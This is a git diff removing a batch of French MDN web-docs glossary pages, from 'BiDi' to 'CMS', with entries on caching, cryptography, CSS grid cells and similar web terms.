- - diff --git a/files/fr/glossaire/bidi/index.html b/files/fr/glossaire/bidi/index.html deleted file mode 100644 index 49cf62bf89..0000000000 --- a/files/fr/glossaire/bidi/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: BiDi -slug: Glossaire/BiDi -tags: - - Accessibilité - - Glossaire - - Internationalisation - - Langues -translation_of: Glossary/BiDi ---- -

BiDi (BiDirectionnel) fait référence à un document contenant à la fois du texte se lisant de droite à gauche et du texte se lisant de gauche à droite. Même lorsque les deux directions se trouvent dans le même paragraphe, le texte de chaque langue doit apparaître dans son propre sens.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Texte bidirectionnel")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/bigint/index.html b/files/fr/glossaire/bigint/index.html deleted file mode 100644 index 7de9471d67..0000000000 --- a/files/fr/glossaire/bigint/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: BigInt -slug: Glossaire/BigInt -tags: - - BigInt - - Glossaire - - JavaScript - - Reference - - format de précision arbitraire -translation_of: Glossary/BigInt ---- -

Dans {{Glossary("JavaScript")}}, BigInt est un type de données numériques qui peut représenter des entiers au format de précision arbitraire. Dans d'autres langages de programmation, différents types numériques peuvent exister, par exemple : Entiers, Flottants, Doubles, ou Bignums.

- -

Apprendre plus

- -

Culture générale

- -
    -
  • -

    {{Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types")}} sur Wikipedia

    -
    • -
- -

Référence technique

- -
    -
  • La structure de données JavaScript : BigInt
    • -
  • L'objet global JavaScript {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/glossaire/blink/index.html b/files/fr/glossaire/blink/index.html deleted file mode 100644 index 65b149377a..0000000000 --- a/files/fr/glossaire/blink/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Blink -slug: Glossaire/Blink -tags: - - Agencement - - Glossaire - - Infrastructure -translation_of: Glossary/Blink ---- -

Blink est un moteur de rendu HTML libre basé sur {{Glossary("WebKit")}} et développé principalement par Google dans le cadre du projet Chromium (et par conséquent présent dans Chrome aussi). Plus particulièrement, Blink est une branche de la bibliothèque WebCore de WebKit qui gère l'agencement, le rendu et le {{Glossary("DOM")}}.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/block_cipher_mode_of_operation/index.html b/files/fr/glossaire/block_cipher_mode_of_operation/index.html deleted file mode 100644 index df8532d22f..0000000000 --- a/files/fr/glossaire/block_cipher_mode_of_operation/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Block cipher mode of operation -slug: Glossaire/Block_cipher_mode_of_operation -tags: - - Cryptographie - - Glossaire - - Mode de fonctionnement de chiffrement par bloc - - Sécurité -translation_of: Glossary/Block_cipher_mode_of_operation ---- -

Un mode de fonctionnement de chiffrement par bloc, généralement appelé simplement "mode" dans le contexte, spécifie comment un chiffrement par bloc doit être utilisé pour chiffrer ou déchiffrer les messages qui sont plus longs que la taille du bloc.

- -

La plupart des algorithmes à clé symétrique actuellement utilisés sont des chiffrements par blocs: cela signifie qu'ils chiffrent les données un bloc à la fois. La taille de chaque bloc est fixe et déterminée par l'algorithme : par exemple AES utilise des blocs de 16 octets. Les chiffrements de bloc sont toujours utilisés avec un mode, qui spécifie comment chiffrer en toute sécurité les messages plus longs que la taille du bloc. Par exemple, AES est un chiffrement, tandis que CTR, CBC et GCM sont tous des modes. L'utilisation d'un mode inapproprié ou une utilisation incorrecte d'un mode peut compromettre complètement la sécurité fournie par le chiffrement sous-jacent.

diff --git a/files/fr/glossaire/boolean/index.html b/files/fr/glossaire/boolean/index.html deleted file mode 100644 index 450e535aa5..0000000000 --- a/files/fr/glossaire/boolean/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Booléen -slug: Glossaire/Boolean -tags: - - Booléen - - Glossaire - - JavaScript - - Langages de programmation - - Types de données -translation_of: Glossary/Boolean ---- -

En informatique, un booléen est un type de données logique qui ne peut prendre que deux valeurs : true (vrai) ou false (faux). Par exemple, en JavaScript, les conditions booléennes sont souvent ouvertes pour décider quelle section de code doit être exécutée (comme dans l'instruction If) ou répétée (comme pour une boucle For).

- -
/* JavaScript instruction if */
-if (boolean conditional) {
-   // code à exécuter si la condition est true (vrai)
-}
-
-if (boolean conditional) {
-  console.log("boolean conditional resolved to true");
-} else {
-  console.log("boolean conditional resolved to false");
-}
-
-
-/* JavaScript boucle for */
-for (control variable; boolean conditional; counter) {
-  //  code à exécuter répétitivement si la condition est vraie 
-}
-
-for (var i=0; i < 4; i++) {
-  console.log("I print only when the boolean conditional is true");
-}
- -

Pour Approfondir

- -

Culture générale

- - - -

Informations techniques

- - diff --git a/files/fr/glossaire/boot2gecko/index.html b/files/fr/glossaire/boot2gecko/index.html deleted file mode 100644 index 1ea0511d18..0000000000 --- a/files/fr/glossaire/boot2gecko/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Boot2Gecko -slug: Glossaire/Boot2Gecko -tags: - - Boot2Gecko - - Firefox OS - - Glossaire - - Infrastructure - - Introduction -translation_of: Glossary/Boot2Gecko ---- -

Boot2Gecko (B2G) est le nom de code pour {{glossary("Firefox OS")}} et fait référence aux éléments de construction  qui n'ont pas encore reçu la marque Firefox OS officielle. (Firefox OS était aussi souvent appelé Boot2Gecko avant que le projet ait un nom officiel.)

- -

En savoir plus

- -
    -
  • Découvrez bien plus à propos de Boot2Gecko dans la zone Firefox OS de la MDN.
    • -
diff --git a/files/fr/glossaire/bootstrap/index.html b/files/fr/glossaire/bootstrap/index.html deleted file mode 100644 index 2a60958125..0000000000 --- a/files/fr/glossaire/bootstrap/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Bootstrap -slug: Glossaire/Bootstrap -tags: - - Bootstrap - - CSS - - Glossaire - - Intro - - framework -translation_of: Glossary/Bootstrap ---- -

Bootstrap est un framework {{Glossary("HTML")}}, CSS, et {{Glossary("JavaScript")}} gratuit et open source pour créer rapidement des sites Web réactifs.

- -

Initialement, Bootstrap s'appelait Twitter Blueprint et a été développé par une équipe travaillant chez Twitter. Il prend en charge la conception réactive et propose des modèles de conception prédéfinis que vous pouvez utiliser directement ou personnalier selon vos besoin avec votre code. Vous n'avez pas non plus à vous soucier de la compatibilité avec les autres navigateurs, car Bootstrap est compatible avec tous les navigateurs modernes et les nouvelles versions de {{glossary("Microsoft Internet Explorer", "Internet Explorer")}}.

- - diff --git a/files/fr/glossaire/breadcrumb/index.html b/files/fr/glossaire/breadcrumb/index.html deleted file mode 100644 index cd642c1e7f..0000000000 --- a/files/fr/glossaire/breadcrumb/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Breadcrumb -slug: Glossaire/Breadcrumb -tags: - - Accessibilité - - Chercher - - Glossaire - - Navigation - - Plan du site - - Site map - - breadcrumb - - fil d'Ariane -translation_of: Glossary/Breadcrumb ---- -

Un breadcrumb, ou fil d'Ariane, est une aide à la navigation qui est généralement placée entre l'en-tête d'un site et le contenu principal, affichant soit une hiérarchie de la page actuelle par rapport à la structure du site, du niveau supérieur à la page actuelle, soit une liste des liens suivis par l'utilisateur pour accéder à la page en cours, dans l'ordre visité.

- -

Un breadcrumb d'emplacement pour ce document peut ressembler à ceci :

- -

MDN > Glossaire > Breadcrumb

- -

Les fil d'Ariane permettent aux utilisateurs de connaître leur emplacement sur un site Web. Ce type de navigation, s'il est effectué correctement, aide les utilisateurs à savoir où ils se trouvent sur un site et comment ils y sont arrivés. Ils peuvent également aider un utilisateur à revenir là où il était auparavant et réduire le nombre de clics nécessaires pour accéder à une page de niveau supérieur.

diff --git a/files/fr/glossaire/brotli_compression/index.html b/files/fr/glossaire/brotli_compression/index.html deleted file mode 100644 index a90a85b1ca..0000000000 --- a/files/fr/glossaire/brotli_compression/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Brotli -slug: Glossaire/brotli_compression -tags: - - Brotli - - Glossaire - - Performance Web - - Reference - - compression -translation_of: Glossary/brotli_compression ---- -

Brotli est un algorithme de compression sans perte à usage général. Il compresse les données à l'aide d'une combinaison d'une variant moderne de l'algorithme LZ77, du codage Huffman, et de la modélisation de contexte de second ordre, fournissant un taux de compression comparable aux meilleures méthodes de compression à usage général actuellement disponibles. Brotli fournit de meilleurs taux de compression que gzip et les vitesses de dégonflage sont comparables, mais la compression brotli est un processus plus lent que la compression Gzip, donc gzip peut être une meilleure option pour la compression de contenue non-cachable.

- -

Brotli est compatible avec la plupart des navigateurs modernes, mais vous pouvez envisager une solution de secours.

- -

Apprendre plus

- - - - diff --git a/files/fr/glossaire/browsing_context/index.html b/files/fr/glossaire/browsing_context/index.html deleted file mode 100644 index bc9edefd44..0000000000 --- a/files/fr/glossaire/browsing_context/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Contexte de navigation -slug: Glossaire/Browsing_context -tags: - - Glossaire -translation_of: Glossary/Browsing_context ---- -

Un contexte de navigation est l'environnement dans lequel un {{glossary("Browser","navigateur")}} affiche un {{domxref("Document","document")}}. Dans les navigateurs modernes, il s'agit généralement d'un onglet, mais il peut s'agir d'une fenêtre ou encore seulement des parties d'une page, comme une {{HTMLElement("frame")}} ou une {{HTMLElement("iframe")}}.

- -

Chaque contexte de navigation possède une {{glossary("Origin","origine")}} spécifique, l'origine du document actif, ainsi qu'un historique qui énumère dans l'ordre tous les documents affichés.

- -

La communication entre les contextes de navigation est sévèrement restreinte. Entre des contextes de la même origine, il est possible d'ouvrir et utiliser un canal {{domxref("BroadcastChannel")}}.

- -

En apprendre plus

- -

Référence technique

- - diff --git "a/files/fr/glossaire/b\303\251zier_curve/index.html" "b/files/fr/glossaire/b\303\251zier_curve/index.html" deleted file mode 100644 index 4528e77ad8..0000000000 --- "a/files/fr/glossaire/b\303\251zier_curve/index.html" +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Courbe de Bézier -slug: Glossaire/Bézier_curve -tags: - - Courbe de Bézier - - Glossaire - - Reference - - graphique -translation_of: Glossary/Bézier_curve ---- -

Une courbe de Bézier est une courbe décrite mathématiquement utilisée en infographie et en animation. Dans {{Glossary("vector image", "vector images")}}, elles sont utilisées pour modéliser des courbes lisses qui peuvent être redimensionnées indéfiniment.

- -

La courbe est définie par un ensemble de points de contrôle avec un minimum de deux. Les graphiques et animations Web utilisent Cubic Béziers, qui sont des courbes avec quatre points de contrôle P0, P1, P2, et P3.

- -

Pour tracer la courbe, deux lignes imaginaires sont tracées l'une de P0 à P1 et l'autre de P1 à P2. Les extrémités des lignes sont ensuite régulièrement déplacées vers le point suivant. Une troisième ligne imaginaire est dessinée avec son point de départ se déplaçant régulièrement sur la première ligne d'assistance et le point final sur la deuxième ligne d'assistance. Sur cette ligne imaginaire, un point est dessiné à partir de son point de départ en se déplaçant régulièrement vers son point final. La courbe décrite par ce point est la courbe de Bézier. Voici une illustration animée démontrant la création de la courbe :

- -

Drawing a Bézier curve

- -

Apprendre plus

- -

Culture générale

- - - -

En savoir plus

- - diff --git a/files/fr/glossaire/cache/index.html b/files/fr/glossaire/cache/index.html deleted file mode 100644 index 4e09279526..0000000000 --- a/files/fr/glossaire/cache/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Cache -slug: Glossaire/Cache -tags: - - Glossaire - - HTTP -translation_of: Glossary/Cache ---- -

Un cache (cache web ou cache HTTP) est un composant stockant temporairement les réponses HTTP dans le but de les réutiliser lors de requêtes HTTP ultérieures, tant qu'elles remplissent certaines conditions.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Cache web")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/cacheable/index.html b/files/fr/glossaire/cacheable/index.html deleted file mode 100644 index 4442b4bfb8..0000000000 --- a/files/fr/glossaire/cacheable/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Apte à être mis en cache -slug: Glossaire/cacheable -tags: - - Glossaire - - Mise en cache - - Mécanismes web -translation_of: Glossary/cacheable ---- -

Une réponse apte à être mise en cache (cacheable) est une réponse HTTP qui peut être mise en cache, qui est stockée pour être récupérée et utilisée plus tard, en enregistrant une nouvelle requête sur le serveur. Toutes les réponses HTTP ne peuvent pas être mises en cache, les contraintes suivantes sont requises pour qu'une réponse HTTP soit mise en cache :

- -
    -
  • La méthode utilisée dans la requête peut elle-même être mise en cache, c'est une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}. Une réponse de la méthode {{HTTPMethod("POST")}} peut aussi être mise en cache si le rafraîchissement est indiqué, mais c'est rarement implémenté. D'autres méthodes comme {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} ne peuvent pas être mises en cache et leur résultat pas davantage.
    • -
  • Le code d'état de la réponse est connu par la mise en cache de l'application et il est considéré comme apte à être mis en cache. Les codes d'état suivants peuvent être mis en cache : {{HTTPStatus("200")}}, {{HTTPStatus("203")}}, {{HTTPStatus("204")}}, {{HTTPStatus("206")}}, {{HTTPStatus("300")}}, {{HTTPStatus("301")}}, {{HTTPStatus("404")}}, {{HTTPStatus("405")}}, {{HTTPStatus("410")}}, {{HTTPStatus("414")}}, et {{HTTPStatus("501")}}.
    • -
  • Il n'y a pas d'en-tête spécifique dans la réponse, comme {{HTTPHeader("Cache-Control")}}, qui empêche la mise en cache.
    • -
- -

Notez que certaines requêtes / réponses ne pouvant être mises en cache à un URI spécifique peuvent invalider des réponses précédemment mises en cache sur le même URI. Par exemple, un {{HTTPMethod("PUT")}} à pageX.html invalidera toutes les requêtes {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} dans le même URI.

- -

Lorsque les deux, la méthode de la requête et l'état de la réponse, peuvent être mis en cache, la réponse à la requête peut être mise en cache :

- -
GET /pageX.html HTTP/1.1
-(…)
-
-200 OK
-(…)
-
- -

Une requête {{HTTPMethod("PUT")}} ne peut pas être mise en cache. De plus, elle invalide les données mises en cache pour une requête au même URI via {{HTTPMethod("HEAD")}} ou {{HTTPMethod("GET")}} :

- -
PUT /pageX.html HTTP/1.1
-(…)
-
-200 OK
-(…)
-
- -

Un en-tête spécifique {{HTTPHeader("Cache-Control")}} dans la réponse peut empêcher la mise en cache :

- -
GET /pageX.html HTTP/1.1
-(…)
-
-200 OK
-Cache-Control: no-cache
-(…)
- -

En apprendre plus

- -

Culture générale

- -
    -
  • Définition de cacheable dans la spécification HTTP.
    • -
- -

Références techniques

- -
    -
  • Description de méthodes courantes pouvant être mises en cache : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}
    • -
  • Description de méthodes courantes ne pouvant pas être mises en cache : {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}} et souvent {{HTTPMethod("POST")}}
    • -
diff --git a/files/fr/glossaire/caldav/index.html b/files/fr/glossaire/caldav/index.html deleted file mode 100644 index 7f53197909..0000000000 --- a/files/fr/glossaire/caldav/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: CalDAV -slug: Glossaire/CalDAV -tags: - - CalDAV - - Glossaire - - Infrastructure -translation_of: Glossary/CalDAV ---- -

CalDAV (extensions de gestion de calendrier pour {{Glossary("WebDAV")}}) est un {{glossary("protocol","protocole")}} normalisé par l'IETF utilisé pour accéder à distance à des données d'agendas stockées sur un {{glossary("server","serveur")}}.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "CalDAV")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/canvas/index.html b/files/fr/glossaire/canvas/index.html deleted file mode 100644 index 896a9d77fc..0000000000 --- a/files/fr/glossaire/canvas/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Canvas -slug: Glossaire/Canvas -tags: - - Glossaire - - Graphismes - - HTML - - JavaScript - - scripts -translation_of: Glossary/Canvas ---- -

L'élément {{Glossary("HTML")}} {{HTMLElement("canvas")}} fournit une zone graphique vide sur laquelle des {{Glossary("API","API")}} {{Glossary("JavaScript")}} spécifiques peuvent dessiner (telles que des Canvas 2D ou du {{Glossary("WebGL")}}) .

- -

En savoir plus

- -

Culture Générale

- -
    -
  • {{Interwiki("wikipedia", "Canvas element", "Canvas")}} sur Wikipedia
    • -
- -

Apprentissage

- - - -

Informations techniques

- - diff --git a/files/fr/glossaire/carddav/index.html b/files/fr/glossaire/carddav/index.html deleted file mode 100644 index e07522e671..0000000000 --- a/files/fr/glossaire/carddav/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: CardDAV -slug: Glossaire/CardDAV -tags: - - CardDAV - - Glossaire - - Infrastructure -translation_of: Glossary/CardDAV ---- -

CardDAV (extension vCard pour {{Glossary("WebDAV")}}) est un {{glossary("protocol","protocole")}} normalisé par l'IETF et utilisé pour partager ou accéder à distance à des informations de contacts par l'intermédiaire d'un {{glossary("server","serveur")}}.

- -

Plus d'informations

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "CardDAV")}} sur Wikipedia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/cdn/index.html b/files/fr/glossaire/cdn/index.html deleted file mode 100644 index 737c929cac..0000000000 --- a/files/fr/glossaire/cdn/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: CDN -slug: Glossaire/CDN -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/CDN ---- -

Un CDN (Content Delivery Network) est un groupe de serveurs répartis en de nombreux endroits. Ces serveurs répliquent des copies des données. De cette manière, les serveurs peuvent  répondre aux requêtes de données en se basant sur les serveurs les plus proches de leurs utilisateurs finaux respectifs. Les CDN rendent les services rapides et moins affectés par les trafics élevés.

- -

Les CDN sont largement utilisés pour fournir des feuilles de style et des fichiers JavaScript (actifs statiques) de bibliothèques comme Bootstrap, jQuery, etc. L'utilisation de CDN pour ces fichiers de bibliothèque est préférable pour un certain nombre de raisons :

- -
    -
  • la gestion des ressources statiques des bibliothèques sur CDN réduit la charge de la requête sur nos propres serveurs.
    • -
  • la plupart des CDN ont des serveurs partout dans le monde, de sorte que les serveurs de CDN peuvent être géographiquement plus proches de vos utilisateurs que vos propres serveurs. La distance géographique affecte proportionnellement la latence.
    • -
  • les CDN sont déjà configurés avec les paramètres de cache appropriés. L'utilisation d'un CDN sauvegarde la configuration pour les ressources statiques sur vos propres serveurs.
    • -
diff --git a/files/fr/glossaire/cellule_de_grille/index.html b/files/fr/glossaire/cellule_de_grille/index.html deleted file mode 100644 index e484a4967a..0000000000 --- a/files/fr/glossaire/cellule_de_grille/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Cellule de grille -slug: Glossaire/Cellule_de_grille -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Cell ---- -

Dans une Grille CSS, une cellule de grille est la plus petite unité de la grille CSS. Elle est un espace entre 4 intersections {{glossary("grid lines","lignes de grille")}} et conceptuellement assimilable à une cellule de tableau.

- -

Diagram showing an individual cell on the grid.

- -

Si vous ne placez pas d'éléments à l'aide de l'une des méthodes de placement de grille, les enfants directs du conteneur de grille seront placés un dans chaque cellule individuelle par l'algorithme de placement automatique. Les {{glossary("Grid Tracks", "pistes")}}  de ligne ou colonne supplémentaire seront créées par la création des cellules nécessaires pour contenir tous les éléments.

- -

Dans l'exemple, nous avons créé une grille de trois colonnes. Les cinq éléments sont placés dans des cellules de la grille le long d'une rangée initiale de trois cellules de la grille, puis par l'ajout d'une nouvelle ligne pour les deux autres.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3,1fr);
-  grid-auto-rows: 100px;
-}
-
- -
<div class="wrapper">
-   <div>One</div>
-   <div>Two</div>
-   <div>Three</div>
-   <div>Four</div>
-   <div>Five</div>
-</div>
-
- -

{{ EmbedLiveSample('example_1', '300', '280') }}

-
- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
- -

En lire plus

- - diff --git "a/files/fr/glossaire/certificat_num\303\251rique/index.html" "b/files/fr/glossaire/certificat_num\303\251rique/index.html" deleted file mode 100644 index 836a2aece8..0000000000 --- "a/files/fr/glossaire/certificat_num\303\251rique/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Certificat numérique -slug: Glossaire/Certificat_numérique -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Digital_certificate ---- -

Un certificat numérique est un fichier de données qui associe une {{Glossary("Key","clé cryptographique")}} publiquement connue à une organisation. Il contient des informations concernant celle-ci, telles que le nom usuel (par exemple mozilla.org), l'unité d'organisation (par exemple Mozilla Corporation) et sa situation géographique (par exemple Mountain View). Les certificats numériques sont le plus souvent signés par une {{Glossary("certificate authority","autorité de certification")}}, attestant leur authenticité.

- -

Pour approfondir

- -
    -
  • {{interwiki("wikipedia", "Public_key_certificate" ,"Certificat électronique")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/certificate_authority/index.html b/files/fr/glossaire/certificate_authority/index.html deleted file mode 100644 index 86df49fbc8..0000000000 --- a/files/fr/glossaire/certificate_authority/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Autorité de certification -slug: Glossaire/Certificate_authority -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Certificate_authority ---- -

Une autorité de certification (AC, ou CA en anglais) est une organisation qui {{Glossary("Signature/Security", "signe")}} des {{Glossary("Digital certificate", "certificats numériques")}} et leurs {{Glossary("Clé", "clés publiques")}} associées. Cela certifie qu'une organisation qui a demandé un certificat numérique (exemple : Mozilla Corporation) est autorisée à demander un certificat pour le sujet nommé dans celui-ci (exemple : mozilla.org).

- -

Les navigateurs Web intègrent une liste d'autorités de certification qui sont autorisées à émettre des certificats numériques.

- -

Pour approfondir

- - diff --git "a/files/fr/glossaire/certifi\303\251/index.html" "b/files/fr/glossaire/certifi\303\251/index.html" deleted file mode 100644 index c83a6b70ba..0000000000 --- "a/files/fr/glossaire/certifi\303\251/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Certifié -slug: Glossaire/Certifié -tags: - - Applications - - Firefox OS - - Glossaire - - Sécurité -translation_of: Glossary/Certified ---- -

Certifié signifie qu'un contenu, une application ou une transmission de données a passé avec succès une évaluation faite par des professionnels ayant une expertise dans le domaine concerné, indiquant ainsi l'exhaustivité, la sécurité et la fiabilité.

- -

Pour les détails sur la certification en {{glossary("Cryptography","Cryptographie")}}, veuillez vous référer aux {{glossary("Digital Certificate","certificats numériques")}}.

- -

Pour approfondir

- -

Culture générale

- - - -

Firefox OS

- -
    -
  • Les applications internes de Firefox OS sont aussi parfois appelées applications certifiées : voir Permissions des applications pour plus d'informations.
    • -
- -

 

diff --git a/files/fr/glossaire/character/index.html b/files/fr/glossaire/character/index.html deleted file mode 100644 index ffa5553c0c..0000000000 --- a/files/fr/glossaire/character/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Caractère -slug: Glossaire/Character -tags: - - Caractères - - Chaîne de caractères - - Glossaire - - scripts -translation_of: Glossary/Character ---- -

Un caractère peut être un symbole (lettre, chiffre, ponctuation) ou un caractère de contrôle (par exemple un retour chariot ou un trait d'union conditionnel). {{glossary("UTF-8")}} est le jeu de caractères le plus courant. Il comprend les graphèmes des langues les plus répandues.

- -

Pour approfondir

- -

Connaissances générales

- -
    -
  • {{interwiki("wikipedia", "Caractère_(informatique)","Caractère (informatique)")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia", "Codage_des_caractères","Codage des caractères")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia","American_Standard_Code_for_Information_Interchange", "ASCII")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia", "UTF-8")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia", "Unicode")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/chiffre/index.html b/files/fr/glossaire/chiffre/index.html deleted file mode 100644 index 227cbd9043..0000000000 --- a/files/fr/glossaire/chiffre/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Chiffre -slug: Glossaire/Chiffre -tags: - - Attaques - - Cryptographie - - Glossaire - - Sécurité - - Vie privée -translation_of: Glossary/Cipher ---- -

En {{glossary("cryptography","cryptographie")}}, un chiffre est un algorithme qui permet de {{glossary("encryption","chiffrer")}} du {{glossary("cleartext","texte brut")}} dans le but de le rendre illisible et de le {{glossary("decryption", "déchiffrer")}} par la suite.

- -

Les chiffres étaient communs bien avant l'âge de l'informatique (par exemple, le chiffrement par substitution, le chiffrement par transposition ou le chiffrement par permutation), mais aucun d'entre eux n'était cryptologiquement sûr à l'exception du masque jetable.

- -

Les chiffres modernes sont construits de manière à résister à des {{glossary("attack","attaques")}} découvertes par un {{glossary("cryptanalysis","cryptanalyste")}}. Il n'y a aucune garantie que tous les vecteurs d'attaques aient été découverts, mais chaque algorithme est jugé à l'aune des types de vecteurs d'attaques connus.

- -

Les chiffres opèrent de deux manières, soit en chiffrement par bloc sur des blocs de données, soit en chiffrement par flot pour des flux de données continus (souvent de l'audio ou de la vidéo).

- -

Ils sont également classés en fonction de la manière dont leurs {{glossary("Key", "clefs")}} sont gérées :

- -
    -
  • les algorithmes à clefs symétriques utilisent la même clef pour chiffrer et déchiffrer un message. Cette clef doit également être envoyée de manière sécurisée afin que le message reste confidentiel.
    • -
  • les algorithmes à clefs asymétriques utilisent une clef différente pour le chiffrement et le déchiffrement.
    • -
- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia","Chiffrement")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/chiffrement/index.html b/files/fr/glossaire/chiffrement/index.html deleted file mode 100644 index 56490019c7..0000000000 --- a/files/fr/glossaire/chiffrement/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Chiffrement -slug: Glossaire/Chiffrement -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Encryption ---- -

En {{glossary("cryptography","cryptographie")}}, le chiffrement est la conversion d'un {{glossary("Texte_brut","texte brut")}} en un texte codé ou {{glossary("ciphertext","cryptogramme")}}. Ce dernier est destiné à ne pas pouvoir être lu par les lecteurs qui n'y sont pas autorisés.

- -

Le chiffrement est une primitive cryptographique : il transforme un message de texte brut en un cryptogramme via l'utilisation d'un algorithme cryptographique appelé {{glossary("cipher","cryptosystème")}}. Avec les cryptosystèmes modernes, le chiffrement est effectué par l'utilisation d'un algorithme spécifique et d'un code secret appelé {{glossary("Key","clé")}}. Comme l'algorithme est souvent public, la clé doit rester secrète si le chiffrement reste sécurisé.

- -

How encryption works.

- -

Sans connaître le code secret, l'opération inverse, le {{glossary("decryption","déchiffrement")}}, se révèle mathématiquement difficile à réaliser. Le degré de difficulté dépend de la sécurité de l'algorithme cryptographique choisi et évolue au fur et à mesure des progrès de la {{glossary("cryptanalysis","cryptanalyse")}}.

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/chrome/index.html b/files/fr/glossaire/chrome/index.html deleted file mode 100644 index 22854c45ae..0000000000 --- a/files/fr/glossaire/chrome/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Chrome -slug: Glossaire/Chrome -tags: - - Chrome - - Glossaire - - Mécaniques web - - Navigateur -translation_of: Glossary/Chrome ---- -

Résumé

- -

Dans un navigateur, le chrome est n'importe quel aspect visible d'un navigateur en dehors des pages Web elles-mêmes (par exemple, barres d'outils, barre de menu, onglets). Il ne doit pas être confondu avec le navigateur {{glossary("Google Chrome")}}.

- -

En profondeur

- - diff --git a/files/fr/glossaire/class/index.html b/files/fr/glossaire/class/index.html deleted file mode 100644 index 6166ae6700..0000000000 --- a/files/fr/glossaire/class/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Classe -slug: Glossaire/Class -tags: - - Glossaire - - scripts -translation_of: Glossary/Class ---- -

En {{glossary("OOP","programmation orientée objet")}}, une classe définit les caractéristiques d'un {{glossary("object","objet")}}. Une classe est une définition de modèle pour les {{glossary("property","propriétés")}} et les {{glossary("method","méthodes")}} d'un objet, le "schéma" à partir duquel d'autres instances plus spécifiques de l'objet sont tracées.

- -

Pour approfondir

- -

Culture générale

- - diff --git "a/files/fr/glossaire/cl\303\251/index.html" "b/files/fr/glossaire/cl\303\251/index.html" deleted file mode 100644 index 0c8b2118ae..0000000000 --- "a/files/fr/glossaire/cl\303\251/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Clé -slug: Glossaire/Clé -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Key ---- -

Une clé est une information utilisée par un {{Glossary("Cipher","chiffre")}} pour l'{{Glossary("Encryption","encryptage")}} et/ou le {{Glossary("Decryption","décryptage")}}. Les messages cryptés doivent rester sécurisés même si tout ce qui concerne le {{Glossary("Cryptosystem","système de cryptage")}}, sauf la clé, est de notoriété publique.

- -

En {{Glossary("Symmetric-key cryptography","cryptographie à clé symétrique")}}, la même clé est utilisée pour l'encryptage et le décryptage. En {{Glossary("Public-key cryptography","cryptographie à clé publique")}}, il existe une paire de clés connexes connues comme la clé publique et la clé privée . La clé publique est is disponible gratuitement, alors que la clé privée est gardée secrète. La clé publique est capable de chiffrer des messages que seule la clé privée correspondante est capable de déchiffrer, et vice versa.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/cms/index.html b/files/fr/glossaire/cms/index.html deleted file mode 100644 index 0528bb2843..0000000000 --- a/files/fr/glossaire/cms/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: CMS -slug: Glossaire/CMS -tags: - - CMS - - Composition - - Glossaire -translation_of: Glossary/CMS ---- -

